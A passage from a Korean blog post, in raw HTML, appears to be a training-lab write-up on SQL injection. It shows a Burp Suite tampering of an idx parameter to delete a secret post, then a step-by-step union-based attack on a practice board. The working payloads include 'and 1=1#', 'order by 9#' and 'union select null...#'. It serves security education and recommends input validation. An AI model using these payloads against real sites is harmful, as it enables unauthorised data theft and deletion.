loading=&quot;lazy&quot; width=&quot;969&quot; height=&quot;605&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;605&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;492&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XBPHO/btsK7NHCvca/F617cL8KylM6FLPm9aE3eK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XBPHO/btsK7NHCvca/F617cL8KylM6FLPm9aE3eK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XBPHO/btsK7NHCvca/F617cL8KylM6FLPm9aE3eK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXBPHO%2FbtsK7NHCvca%2FF617cL8KylM6FLPm9aE3eK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;968&quot; height=&quot;492&quot; data-origin-width=&quot;968&quot; data-origin-height=&quot;492&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 취약점을 활용하여 idx=10 을 idx=9#으로 변경하여 삭제를 시도한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 Intercept On 후에 게시글의 Password 칸에 임의의 문자열을 입력 후 Auth를 클릭하여 요청을 가로챈다. 프록시에서 서버로 요청을 전송할 때는 URL 인코딩을 해야하므로 메시지 바디값에 idx=9%23 를 입력 후 Forward를 하게되면 비밀글이 삭제되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1551&quot; data-origin-height=&quot;1018&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdAoPl/btsK7c2atmW/e0HWxuA2GQP8RCSXTYRt30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdAoPl/btsK7c2atmW/e0HWxuA2GQP8RCSXTYRt30/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdAoPl/btsK7c2atmW/e0HWxuA2GQP8RCSXTYRt30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdAoPl%2FbtsK7c2atmW%2Fe0HWxuA2GQP8RCSXTYRt30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1551&quot; height=&quot;1018&quot; data-origin-width=&quot;1551&quot; data-origin-height=&quot;1018&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjNrSN/btsK69j3mT9/4X1GFzdlOvVWS7e1E8ytgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjNrSN/btsK69j3mT9/4X1GFzdlOvVWS7e1E8ytgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjNrSN/btsK69j3mT9/4X1GFzdlOvVWS7e1E8ytgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjNrSN%2FbtsK69j3mT9%2F4X1GFzdlOvVWS7e1E8ytgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;965&quot; height=&quot;390&quot; data-origin-width=&quot;965&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx 및 password 파라미터가 취약할 수 있으니, 사용자 입력값이 들어가는 모든 파라미터에 입력값 검증 로직이 필요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6) 데이터 조회 공격이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 구문 삽입을 통해서 DB내의 데이터를 조회하는 공격으로 SQL Injection 공격 시에 가장 많이 사용되는 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB의 데이터를 조회하는 것이 왜 위험할까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB내 여러 정보가 저장되어 있는데, 중요하지 않은 정보도 있지만 여러 중요한 정보(고객 데이터, 계정 정보, 회사 내 기밀정보 등)가 저장되어 있다. 이런 중요 정보가 공격자에 의해 탈취되면 다양한 공격이 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개인 정보를 탈취하여 판매할 수도 있으며, 계정 정보를 탈취하여 다른 사이트에 로그인을 시도하는 등 다양한 공격으로 활용 할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;609&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uMHvl/btsK62ZAl4v/TJsM2spQtkIUmmF10T20HK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uMHvl/btsK62ZAl4v/TJsM2spQtkIUmmF10T20HK/img.png&quot; data-alt=&quot;데이터 조회 공격&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uMHvl/btsK62ZAl4v/TJsM2spQtkIUmmF10T20HK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuMHvl%2FbtsK62ZAl4v%2FTJsM2spQtkIUmmF10T20HK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1134&quot; height=&quot;609&quot; data-origin-width=&quot;1134&quot; data-origin-height=&quot;609&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;데이터 조회 공격&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7) 데이터 조회 공격 기법 종류&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1379&quot; data-origin-height=&quot;489&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8SawO/btsK6MCHYYI/Kxkz1edzh53Co05RyDvdRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8SawO/btsK6MCHYYI/Kxkz1edzh53Co05RyDvdRk/img.png&quot; data-alt=&quot;데이터 조회 공격 기법 종류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8SawO/btsK6MCHYYI/Kxkz1edzh53Co05RyDvdRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8SawO%2FbtsK6MCHYYI%2FKxkz1edzh53Co05RyDvdRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1379&quot; height=&quot;489&quot; data-origin-width=&quot;1379&quot; data-origin-height=&quot;489&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;데이터 조회 공격 기법 종류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Error-Based&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; DBMS 에러를 통해서 공격자가 의도하는 데이터를 조회하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 어플리케이션 에러가 발생한다고 해서 Error-Based 공격이 가능한 것이 아니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 핵심은 어플리케이션 에러가 발생하지 않더라도 &lt;b&gt;DBMS 에러가 노출이 되어야 가능&lt;/b&gt;하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 공격이 성립되려면 DBMS의 에러가 WAS를 거쳐서 클라이언트에게 전달되어야 성립된다. 만약 WAS의 에러만 클라이언트에 반환되면 공격이 성립되지 않는다. DBMS 에러 내에 공격자가 의도한 데이터를 담기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 개발자가 디버깅 용도로 DBMS 에러를 사용하는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Blind-Based와 Union Based 공격은 빈번하게 발생하는 데이터 조회 공격이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Out-of-band&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 대역 외 공격 기법으로, DBMS가 특정 IP(공격자가 지정한)로 HTTP, DNS 요청을 하는데, 요청 내에 공격자가 요청한 데이터가 담겨있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 의도한 데이터가 응답값에 실리는 공격을 In-band 공격이라 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8) UNION-BASED 공격이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1137&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5SYzS/btsK59ejyRG/qK9qF2fDlwCtgvgCnzbbkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5SYzS/btsK59ejyRG/qK9qF2fDlwCtgvgCnzbbkK/img.png&quot; data-alt=&quot;Union-Based 공격&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5SYzS/btsK59ejyRG/qK9qF2fDlwCtgvgCnzbbkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5SYzS%2FbtsK59ejyRG%2FqK9qF2fDlwCtgvgCnzbbkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1137&quot; height=&quot;411&quot; data-origin-width=&quot;1137&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Union-Based 공격&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL의 Union 구문을 사용하여 공격자가 의도한대로 데이터베이스가 반환하는 데이터를 변조하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union 이란?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #4d5156; text-align: left;&quot;&gt;- 여러 쿼리문들을 합쳐서 하나의 쿼리문으로 만들어주는 방법&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #4d5156; text-align: left;&quot;&gt;- 2개 이상의 SELECT 쿼리 결과를 하나로 연합시켜주는 집합 연산자&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union-Based 공격은 특성상 속도가 제일 빠르며, 주요 타겟은 게시판 목록의 검색 기능이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 특정 테이블에 대해 다수의 레코드가 반환되기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격 속도는 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union-Based &amp;gt; Error-Based &amp;gt;&amp;gt;&amp;gt; Blind-Based&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습2-6 UNION-BASED 공격을 통한 중요 정보 탈취 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB에서 웹 페이지로 데이터를 출력시키는 환경이 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;Union-Based 공격에 &lt;/span&gt;적합한 환경이다. (SQL Injection 취약점이 존재해야 한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 검색 기능에서 SQL Injection 유무를 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 검색 기능을 SQL 쿼리로 다음과 같이 추측된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where title like '%검색어%';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;검색창에 test%' and 1=1# 입력해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 DB로 다음 SQL 쿼리를 사용하여 질의할 것으로 추측된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; select * from insecure_board where title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;test%' and 1=1#&lt;/b&gt;&lt;/span&gt;%';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/B5Deo/btsK78MywCM/HJHEtg2pKmFFrplbqwakBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/B5Deo/btsK78MywCM/HJHEtg2pKmFFrplbqwakBK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/B5Deo/btsK78MywCM/HJHEtg2pKmFFrplbqwakBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FB5Deo%2FbtsK78MywCM%2FHJHEtg2pKmFFrplbqwakBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;959&quot; height=&quot;394&quot; data-origin-width=&quot;959&quot; data-origin-height=&quot;394&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;383&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CgsSM/btsK7KFeIWs/WcRwuvJAIljQZUc3VFc96k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CgsSM/btsK7KFeIWs/WcRwuvJAIljQZUc3VFc96k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CgsSM/btsK7KFeIWs/WcRwuvJAIljQZUc3VFc96k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCgsSM%2FbtsK7KFeIWs%2FWcRwuvJAIljQZUc3VFc96k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;966&quot; height=&quot;383&quot; data-origin-width=&quot;966&quot; data-origin-height=&quot;383&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test%' and 1=1# 을 입력하니 test 게시글이 검색된다. &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test%' and 1=2# 을 입력하면 검색되지 않는다. &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=1# 을 입력하면 전체 게시글이 검색된다. &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' and 1=2# 을 입력하면 게시글이 검색되지 않는다. &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board whre title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' and 1=1#&lt;/b&gt;&lt;/span&gt;%';&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결 연산자를 사용하는 방법도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL: 공백 &amp;rarr; te' 'st&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ORACLE: || &amp;rarr; te'||'st&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MSSQL:&amp;nbsp; + &amp;rarr; te'+'st&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 사용하는 DB는 MySQL이므로 공백을 사용하여&amp;nbsp; test 문자열을 검색&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;te' 'st 를 입력하면 test 게시글이 검색된다. &amp;rarr; 참&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;te'a'st 를 입력하면 게시글이 검색되지 않는다. &amp;rarr; 거짓&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insercure_board where title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;te' 'st&lt;/b&gt;&lt;/span&gt;%';&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CMD 창을 열고 MySQL에서 똑같이 확인이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;192&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1qZ8N/btsK8ZuvyUH/a8WuXTh7Ku5wrt8gk9Tfe0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1qZ8N/btsK8ZuvyUH/a8WuXTh7Ku5wrt8gk9Tfe0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1qZ8N/btsK8ZuvyUH/a8WuXTh7Ku5wrt8gk9Tfe0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1qZ8N%2FbtsK8ZuvyUH%2Fa8WuXTh7Ku5wrt8gk9Tfe0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1395&quot; height=&quot;192&quot; data-origin-width=&quot;1395&quot; data-origin-height=&quot;192&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와 같이 SQL 구문 입력을 통해 SQL Injection 취약점이 있는것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union-Based 공격에는 절차가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) ORDER BY 구문을 통해 컬럼 개수 식별 &amp;rarr; order by 구문 사용이 가능하면 union 구문 사용이 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) UNION 구문 사용 &amp;rarr; union 사용을 위해서는 컬럼 개수, 데이터 타입이 동일해야한다. (ORACLE, MSSQL)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 출력 포지션 파악 &amp;rarr; 각 컬럼의 데이터가 실제 웹 페이지 어느 항목에서 출력되는지 파악&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;첫번째로 order by 구문을 통해 컬럼 개수를 식별한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;order by는 레코드를 정렬하는 구문으로 컬럼을 기준으로 정렬한다. (오름차순, 내림차순)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;order by 1은 첫번째 컬럼을 기준으로 정렬한다는 의미이며, order by 2는 두번째 컬럼을 기준으로 정렬한다는 의미이다. 이때 존재하지 않는 컬럼에 대해서는 당연히 거짓으로 결과가 출력되지 않는 점을 이용하여 SQL Injection을 진행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 검색창에 ' order by 1# 입력하면 test 게시글이 검색된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' order by 10# 입력 시 검색되지 않는다. &amp;rarr; 존재하지 않은 컬럼에 대한 정렬로 에러발생&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' order by 9# 입력 시 test 게시글이 검색된다. &amp;rarr; 아홉번째 컬럼이 존재하므로 결과가 출력됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 컬럼 개수가 9개인 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;' order by 9#&lt;/b&gt;&lt;/span&gt;%';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5H5qg/btsK89cRkW3/SKmieA9dYjOz0NvK2LudMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5H5qg/btsK89cRkW3/SKmieA9dYjOz0NvK2LudMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5H5qg/btsK89cRkW3/SKmieA9dYjOz0NvK2LudMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5H5qg%2FbtsK89cRkW3%2FSKmieA9dYjOz0NvK2LudMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;970&quot; height=&quot;416&quot; data-origin-width=&quot;970&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두번째로 UNION 구문을 사용하여 컬럼을 출력한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;union 사용을 위해서는 컬럼 개수와 데이터 타입이 동일해야하는데, 여기서 데이터 타입이란 상위 select 절과 하위 select절의 데이터 타입을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select 1, 'test' union select 2, 'apple'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 첫번째는 숫자형(INT), 두번째는 문자형(CHAR)으로 동일한 데이터 타입을 가진 경우에만 사용 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; MySQL은 데이터 타입이 동일하지 않아도 상관없다. MSSQL 및 ORACLE은 데이터 타입 일치시켜야함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' union select null,null,null,null,null,null,null,null,null#&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 여기서 사용한 null 은 데이터 타입에 영향을 받지 않는 아무 값이 없는 자료형을 의미한다.&lt;/p&gt;
